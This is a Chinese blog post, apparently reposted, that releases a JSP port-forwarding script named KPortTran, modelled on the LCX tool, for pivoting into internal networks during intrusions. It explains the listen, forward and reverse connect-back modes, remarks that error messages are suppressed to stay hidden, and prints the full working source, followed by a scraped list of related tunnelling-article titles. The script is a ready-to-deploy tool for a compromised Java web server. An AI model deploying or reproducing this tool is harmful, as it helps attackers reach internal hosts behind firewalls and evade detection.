JSP版LCX:端口转发神器 KPortTran
最近接触内网很多,渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。
在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交~
用法如下 KPortTran Usage:
参数
xxx.com/KPortTran.jsp? lip = local ip / 本地ip //一般为内网主机IP lp = local port / 本地端口 //一般为内网主机端口 rip = remote ip / 远程ip //一般为外网连接者IP,或者内网其他主机 rp = remote port / 远程端口 //一般为外网连接者端口 lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口 m = mode / 运行模式 //合法的值有:listen tran slave三种
运行模式
m = listen 需要参数:lp、lp2 该模式下,会在本地监听两个端口,相互转发数据 m = tran 需要参数:lip、lp、rip、rp 该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。 m = slave 需要的参数: lip、lp、rip、rp 该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。
注意事项: 某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。 为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。
测试截图:
<%@page pageEncoding="GBK"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.net.*"%>
<%
/*code by KingX*/
class KPortTran {public void listen(String port1, String port2) {ServerSocket listenServerSocket = null;ServerSocket outServerSocket = null;try {listenServerSocket = new ServerSocket(Integer.parseInt(port1));outServerSocket = new ServerSocket(Integer.parseInt(port2));} catch (NumberFormatException e) {} catch (IOException e) {}Socket listenSocket = null;Socket outSocket = null;try {while (true) { listenSocket = listenServerSocket.accept();outSocket = outServerSocket.accept();new tranThread(outSocket, listenSocket).start();new tranThread(listenSocket, outSocket).start();Thread.sleep(200);}} catch (Exception e) { }}public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {InetAddress src = InetAddress.getByName(srcIP);InetAddress dest = InetAddress.getByName(targetIP);int p1 = Integer.parseInt(port1);int p2 = Integer.parseInt(port2);new Server(src, p2, dest, p1, true);}public void tran(String srcIP, String port1, String targetIP, String port2)throws NumberFormatException, IOException {InetAddress src = InetAddress.getByName(srcIP);InetAddress dest = InetAddress.getByName(targetIP);int p1 = Integer.parseInt(port1);int p2 = Integer.parseInt(port2);new Server(src, p1, dest, p2, false);}
class tranThread extends Thread {Socket in;Socket out;InputStream is;OutputStream os;public tranThread(Socket in, Socket out) throws IOException {this.is = in.getInputStream();this.os = out.getOutputStream();this.in = in;this.out = out;}private void closeSocket() {try {is.close();os.close();in.close();out.close();} catch (IOException e) {}}@Overridepublic void run() {super.run();byte[] buffer = new byte[4096];int len = -1;try {while (true) {if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {break;} else {os.write(buffer, 0, len);os.flush(); }}} catch (IOException e) {closeSocket();} finally {closeSocket();}}
}class Server extends Thread {InetAddress src;InetAddress dest;int p1, p2;boolean reverse = false;public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,int targetPort, boolean flag) {this.src = srcIP;this.dest = targetIP;this.p1 = srcPort;this.p2 = targetPort;this.reverse = flag;start();}@Overridepublic void run() {super.run();if (reverse) {try {Socket s = new Socket(src, p1);Socket s2 = new Socket(dest, p2);new tranThread(s, s2).start();new tranThread(s2, s).start();while (true) {if (s2.isClosed() || s.isClosed()) {if (s2.isClosed()) {s2 = new Socket(dest, p2);}if (s.isClosed()) {s = new Socket(src, p1);}new tranThread(s, s2).start();new tranThread(s2, s).start();}Thread.sleep(1000);}} catch (IOException e) {} catch (InterruptedException e) {}} else {ServerSocket ss;try {ss = new ServerSocket(p1, 5, src);while (true) {Socket s = ss.accept();Socket s2 = new Socket(dest, p2);new tranThread(s, s2).start();new tranThread(s2, s).start();}} catch (IOException e) {e.printStackTrace();}}}
}
}
%>
<%
final String localIP = request.getParameter("lip");
final String localPort = request.getParameter("lp");
final String localPort2 = request.getParameter("lp2");
final String remoteIP =request.getParameter("rip");
final String remotePort =request.getParameter("rp");
final String mode =request.getParameter("m");KPortTran pt = new KPortTran();
if (mode.equals("tran")) {pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("slave")) {pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("listen")) {pt.listen(localPort, localPort2);
}%>
本文转载至,http://www.2cto.com/Article/201310/254016.html
转载于:https://www.cnblogs.com/rinack/p/3397693.html
JSP版LCX:端口转发神器 KPortTran相关推荐
- lcx端口转发工具的使用
Linux版lcx端口转发工具使用 0x01 前言 在实际情况中,web应用服务通常会被运行在内网机器上,然后通过端口映射到外网,供外网用户进行访问.如果我们已经攻破网站,拿到内网机器权限,通常会安装 ...
- linux 端口转发软件,linux端口转发神器Socat一键配置脚本
一.概述 目前常用的端口转发工具有rinetd.Haproxy.iptables.Socat前面2种只能转发TCP,后面TCP/UDP都可以转发.如果是需要udp转发的话,只能选择iptables.S ...
- 【转】实战 SSH 端口转发
本文转自:http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html,至于有什么用,懂的懂! 实战 SSH 端口转发 通 ...
- 实战 SSH 端口转发
2019独角兽企业重金招聘Python工程师标准>>> 第一部分 概述 当你在咖啡馆享受免费 WiFi 的时候,有没有想到可能有人正在窃取你的密码及隐私信息?当你发现实验室的防火墙阻 ...
- 端口转发lcx工具+nc反弹工具使用
一.lcx工具 lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap, Windows版使用方法如下: 1. lc ...
- 内网端口转发-LCX基本使用
在渗透测试过程中我们可能会遇到内网开放3389端口只对内网机器开放,但是外网连接不上的情况.怎么办呢?这时候我们可以使用lcx来进行端口映射. 使用方法: 1.本地监听两个端口,第一个为转发端口,第二 ...
- 端口转发工具--lcx
简介 lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口.它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款 ...
- 内网端口 转发 穿透 工具简介
目录 一.LCX 1.lcx 内网端口转发(类似于SSH远程转发-R) 2.本地端口转发(类似于SSH本地转发-L) 二.nc反弹 正向连接 反向连接 三.socks代理工具 (1)Earthworm ...
- 端口转发与代理工具 内网代理 内网反弹代理
目录 一.LCX 二.nc 反弹 三.socks代理工具 四.frp 内网穿透利器 五.ngrok 内网穿透 理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主 ...
- 内网入口——代理搭建端口转发
在内网渗透过程中经常会遇到搭建代理和端口转发的情况,本文记录一些常用工具的使用方法和典型应用场景,便于查阅. 文章目录 代理搭建&端口转发 1.EW 2.Venom 3.Stowaway 4. ...
最新文章
- mysql查看正在执行的sql语句
- python装饰器函数-python函数装饰器
- centos7 ssh 密码拒绝_Centos7的ssh connection refused
- windows 10 systeminfo命令查看系统信息
- 浅述WinForm多线程编程与Control.Invoke的应用
- mysql使用jtable_jtable 的简单使用
- php获取变量数据类型,php如何确定变量的数据类型
- 判断文件是否存在如果不存在则创建
- Laravel Migrate
- echarts中的option.legend.data has not been defined.
- 3ds max批量修改贴图名称脚本(最新版本)
- 冰点还原密码查看工具
- wed简介及html简单标签(1)
- 分享一个Java和Android学习视频
- 大厂职级、薪资一览表,你处在哪一级?(BAT/TMD/华为)
- 博文翻译:Tackling the Cold Start Problem in Recommender Systems
- JVM进阶(六)——鲜为人知的二次标记
- Elasticsearch可视化工具-----cerebro(比head更优秀)
- 无线电波的波段、频率和应用
- Error while Launching activity